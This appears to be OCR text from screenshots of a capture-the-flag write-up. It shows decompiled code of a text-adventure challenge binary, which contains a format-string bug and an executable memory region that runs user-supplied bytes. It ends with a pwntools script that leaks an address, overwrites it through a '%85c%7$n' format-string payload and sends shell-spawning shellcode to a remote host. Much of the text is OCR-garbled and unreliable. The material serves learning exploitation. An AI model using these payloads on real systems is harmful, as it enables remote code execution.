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[7] __1ibc_start_main n :
[7] srand o
[7] streap p 4
|£] _gmon_start__ ]
7] tine D setbuf(stdout, 6LL);
|£] malloc P 7| alarm(@x3Cu);
[7] __isoce9_scant B 5| sub_4@0996(60LL, BLL);
[7] exit .p 9 = malloc(8uLL);
£ rand P 1 = v3;
t;: start t 11 %3 = 68;
[F] sub_4008D0 t 12 [1] = 85;
| S| sub_400950 t 13| puts("we are wizard, we will give you hand, you can not defeat dragon by yourself ...");
7] sub_soos70 Y 14| puts("we will tell you two secret ...");
|£] sub_400996 t 15| printf("secret[0] is %\n", v4, a2);
2] sub_20080D K 16| printf("secret[1] is %x\n", v4 + 1);
[Z] sub_400A7D K 17| puts("do not tell anyone ");
\% Sutfjgggiz : 18 sub_4@0D72(v4); 7/ A
1 - 19| puts("The End..... Really?");
| #] sub_a00n72 t 20| beturn BLL:
[7] nain t 0 g
|£] init t -
|f] fini .
|f] _tern_proc .f
|f] _inp___isocB9_scanf ex
L£] mp_exit ex
[7] _inp_anap ex
£ ap_alara ex
ap___libc_start_main ex
ian time -
>
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Zo0IT0 T
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RHETR Bn gned __inté4 _ - al)
7] __libc_start_main D 21 . o
7] srand - 3| char s; // [rsp+16h] [rbp-
7] streap .p 4| unsigned __int64 v3; // [
[7] __snon_start__ D 5
[7] tine o 6| v3 = _ readfsquord(@x2su);
[F] nalloc .p 7| puts("What should your character's name be:");
7] —_socs8_scant .p 8| _isoc99_scanf("%s", &s);
7] exit p 9| If ( strlen(&s) <= BxC )
7] rand .0 10| {
7] start t puts("Creating a new player.");
|£] sub_4008D0 t sub_400A7D("Creating a new player.");
[ £] sub_400350 t sub_4608B9() ;
£] sub_d00870 Y sub_480CA6(
[ 7] sub_s00898 t
[ 7] sub_s0090D t else
[£] sub_400a7D .t
[£] sub_400BB3 .t il . |y
7] eub_200cae K puts("Heil What's up!™);
L sib-seomz ; o] return _readfsquord(ex28u) * -
(7] init + 211} lunsigned __int64 v3; // [rsp+28h] [rbp-8h]|
(7] fini t
|£] _term_proc -f
|£] imp___is0c99_scanf Bx
£l ex
7] ex
Fd ap_alara ex
|f] _imp___libc_start_main ex
Fl imn time v
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49BCA6: using guessed type _ int64 _ fastcall sub_486CA6(_QWORD);

Fythen |
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BREEFR B~ ’Tur\signed __int64 sub_400A7D()

7] __libc_start_main p 2 I

7] srand - 3| char s1; // [rsp+6h] [rbp-16h]

(7] streap o 4| unsigned _ int64 v2; // [rsp+8h]

[7] __anon_start__ -p 5

7l tine e 6| v2 =  readfsquord(dx28u);

[Fl nalloc .p 7| puts(” This is a famous but quite unusual inn. The air is fresh and the");

Z __iso0cB9_scanf .D 8| puts("marble-tiled ground is clean. Few rowdy guests can be seen, and the");

7| exit 5 9| puts("furniture looks undamaged by brawls, which are very common in other pubs");
|| rand -p 10| puts(“"all around the world. The decoration looks extremely valuable and would fit");
|f] start .t 11| puts("into a palace, but in this city it's quite ordinary. In the middle of the");
7] sub_s00800 .t 12| puts("room are velvet covered chairs and benches, which surround large oaken");
|£] sub_200950 -t 13| puts("tables. A large sign is fixed to the northern wall behind a wooden bar. In");
[£] sub_d00970 B 14| puts("one corner you notice a fireplace.");

[£] sub_400996 -y 15| puts("There are two obvious exits: east, up.");

|7 sub_2009DD -t 16| puts("But strange thing is ,no one there.");

§ S”Eszgg;g t 17| puts("So, where you will go?east or up?:");

sul . ;

L] sub_ 18| while (1)

7| sub_d00CAt .t I

= 19) £

7| sub_doon72 .t N . oy g

P it 20| _isoc99_scanf("%s", &s1);

%“;;i: . 21 IF ( Istrcmp(&s1, "east®) || Istrcmp(&s1, "east") )

7] fini .t 2 break;

= 23| puts("heil I'm secious!"™);

1| _term_proc £

[7] __inp___isoc89_scant ex 24/ puts("So, where you will go?:");

[f]| _imp_exit ex 250 %}

7] inp_amap ox 26| if ( stremp(8s1, "east") )

7| inp_alara ox 27 |

|f| _imp___libc_start_main ex 28 if ( !strcmp(&s1, “up”) )

7| I - 29 sub_4889DD(&s1, “up");

8 2 30 puts("YOU KNOW WHAT YOU DO?");

1729748 31 exit(e);
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‘ABBQDD: using guessed type _ int64 _ fastcall sub_4009DD( QWORD, _QUWORD); v‘
Fythen | |
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BREEFR B~ 1unsigned _ int64 sub_400BB9()
[£] -_1libc_start_main -p 2
7] srand .p 3
7| stremp p 4 /
(7] _snon_start__ r 5| char format; i P
(7] tine o 6| unsigned _ int64 vd; // ]
7] malloc b 7
f|__is0c93_scanf . 8| v4 = _ readfsquord(8x28u);
7] exit p 9 w2 ;
|| rand -p 10| puts(“"You travel a short distance east.That's odd, anyone disappear suddenly");
(7] start R 11| puts(”, what happend?! You just travel , and find another hole");
[£] sub_400800 -t puts("You recall, a big black hole will suckk you into it! Know what should you do?");
|7 sub_d00550 -t puts(“go into ther‘e(l), or leave(@)?2:");
[£] sub_d00970 B _is0c99_scanf("%d", &v1);
| 7] sub_d00896 ot T (ui==1)
|£] sub_20090D .t {
§ S”Eszgg;g -t puts("A voice heard in your mind");
- tone t puts("'Give me an address'");
7 23h7400D72 't _isoc99_scanf("%1d", &v2);
s 't puts("And, you wish is:");
] i e . _is0c99_scanf("¥%s", &F
(7] fini ot puts("Your wish is");
(7 tern proc Tt printf(&fornat, &fornat);
[7] __inp___isoc89_scant x puts("I hear it, I hear it....");
F2 ex }
(7] ex return __readfsquord(@x28u) * v4;
7 =
£l ex
Fl imn time ow
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E fmtEn o x
ZUOCADT USING EU T Type __INTod _Tastcall SUD_40OCAG(_UWURD); x
‘AQBSEQ: using guessed type  int64 _ fastcall isoc99_scanf( QWORD, QWORD); v‘
Fythen | |
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BEETR B~ 1junsigned _ int64 sub_400CA6 (_DWORD *
[7] _libe_start_nain .p 2 » .
7| srand p 3| void *vi; [/ red )
7] streap p 4| unsigned _ int64 v3; // [rsp+18h] [
[7] __anon_start__ .p 5
7] tine i 5| v3 = _readfsquord(ex28u);
[Fl nalloc .p 7| puts("Ahu!!!!ITITIIINININIA Dragon has appeared!!™);
(7] __isocs9_scant p 8| puts("Dragon say: HaHa! you were supposed to have a normal");
(7] exit p 9| puts("RPG game, but I have changed it! you have no weapon and ");
|f| rand -D 10| puts("skill! you could not defeat me !");
|f] start ot 11| puts("That's sound terrible! you meet final boss!but you level is ONE!");
|f] sub_4008D0 -t 12| if ( *al == 21[1] )
|F] sub_400350 ot 13| {
|£] sub_go0s70 -t 14| puts("Wizard: T will help youl USE YOU SPELL");
[£] sub_d00996 -t 1 1 = mmap(@LL, @x106@ulLl, 7, 33, -1, OLL);
§ sutf:ggigg t read(e, v1, @x160uLl);

sub_ : void (_fastcall *) void *))vi 1;
7] sub_d00mms e {(void (_fast ) (_QUORD, vo Jviy(eLL, viy;
£ sub_d00Ck6 -t . PO
z cub_d00072 v :; return __readfsqword(@x28u) v3;
[£] nain o i
|f]init .t
|£] fini .t
|£] _term_proc -f
|£] imp___is0c99_scanf Bx
£l _exit ex
7] map ex
Fd _alara ex
£l _libc_start_main ex
Fl imn time ow
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AUUEE0T USINE EUESSEd TyPe —INTo& —Tasteall _T50CYY_SCant( UAURD, _UWORD)S 5
‘Aeema: using guessed type _ int64 _ fastcall sub_400CAG( QWORD); v
Fythen | |
AU: idle AT #if: 23CB
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REERR B~ 1| _inte4 _ fastcall mein(__int64 al, char **a2, char **a3)
7] __libc_start_main -p 2
|f] srand - 3| _DWORD *v3; // rax
(7] streap .p 4 __inté4 va; /f ST18.8
] __snen_start__ v 5
7] tine o 6| setbuf(stdout, 6LL);
7] malloc D 7| alarm(ox3cu);
7] __isocss_scant p 5| sub_4@0996(60LL, BLL);
(7] exit -p 9 vz = malloc(8ull);
7] rand . 10 (__int64)v3;
[£] start .t 1 = 68;
[£] sub_400800 .t 12 1] = 85
|| sub_400950 -t 13| puts("we are wizard, we will give you hand, you can not defeat dragon by yourself ...");
[£] sub_d00970 B 14| puts("we will tell you two secret ...");
[£] sub_400996 -t 15| printf("secret[0] is %x\n", v4, a2);
£ sub_4009DD .t e ; B : W ;
o 16| printf("secret[1] is %x\n", v4 + 4);
% SUE’:ZEQEE -t 17| puts("do not tell anyone ");
7 b ances o 18| sub_480D72(v4); 7/ A0
7l sub__400D72 't 19| puts("The End..... Really?"™);
7 P ) t 20| return OLL;
7] init ot 21}
|£] fini .t
_term_proc .f
ex
ex
ex
ex
7 ox
3 av
< >
7 29/48
& EERE oex
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WEED o8 x
ZUUBE0T USINE EUESSeq Type __INTo4 _Tastcall _I50C99_SCant(_UAURD, _UWURD); =
406996: using guessed type _int64 _fastcall sub 4068996( QWORD, _QORD); v
Fythen | |

AU: idle AT #if: 23CB
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i—J#coding=utf-8
LWl 7 rom pwn import *

context(os='linux',arch="amd64',log level='debug")
$\ sh = remote|("111.198.29.45","57791" |
% sh.recvuntil("secret[0] is ")

gsccret_addr = int(sh.recvline()[:-1],16)
#print(secret_addr)

H sh.sendafter("'Give me an address'\n",'123456\n")
di2 = p64(secret addr,endian='big")+p64(secret addr+4,endian='big')+'%8$n%9$n\n' XAEHITRRIT
@ #endianB B TRAN G

sh.sendafter("'Give me an address'\n",str(secret_addr)+'\n")

sh.sendafter("And, you wish is:\n", '%85c%7$n'+'\n")

shellcode = shellcraft.sh()
sh.sendafter('Wizard: I will help you! USE YOU SPELL\n',asm(shellcode)+'\n")

sh.interactive()
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